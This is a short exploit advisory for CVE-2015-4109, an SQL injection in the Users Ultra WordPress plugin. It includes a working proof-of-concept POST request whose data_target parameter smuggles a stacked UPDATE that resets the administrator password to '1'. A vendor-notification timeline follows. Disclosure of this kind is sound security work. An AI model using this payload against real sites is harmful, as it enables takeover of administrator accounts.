Exploit Title: CVE-2015-4109 - WordPress Users Ultra Plugin [SQL injection]

Date: 2015/05/30

Exploit Author: Panagiotis Vagenas

Contact: https://twitter.com/panVagenas

Vendor Homepage: http://usersultra.com

Software Link: https://wordpress.org/plugins/users-ultra/

Version: 1.5.15

Tested on: WordPress 4.2.2

Category: webapps

CVE: CVE-2015-4109

One can perform an SQL injection attack simply by exploiting wp_ajax_nopriv_rating_vote action.
POST parameters data_target and data_vote can be used to execute arbitrary SQL commands in the database.

In the following PoC we change the administrators password to '1' so a malicious user can then login as the administrator, taking full control of the website.

• Send a post request to `http://my.vulnerable.website.com/wp-admin/admin-ajax.php` with data: action=rating_vote&data_id=1
  &data_target=user_id IN (1); UPDATE wp_users set user_pass=MD5(1) where ID &data_vote=1
• Login with administrator's user name and password '1'

Note that we assume that table name prefix is 'wp' and administrators user id is 1, a very common scenario.

• Timeline
  2015-05-29 Discovered
  2015-05-30 Vendor notified via contact form
  2015-06-01 Vendor notified via email
  2015-06-02 Vendor notified via support forums at wordpress.org
  2015-06-02 Vendor responded
  2015-06-04 Fix released in version 1.5.16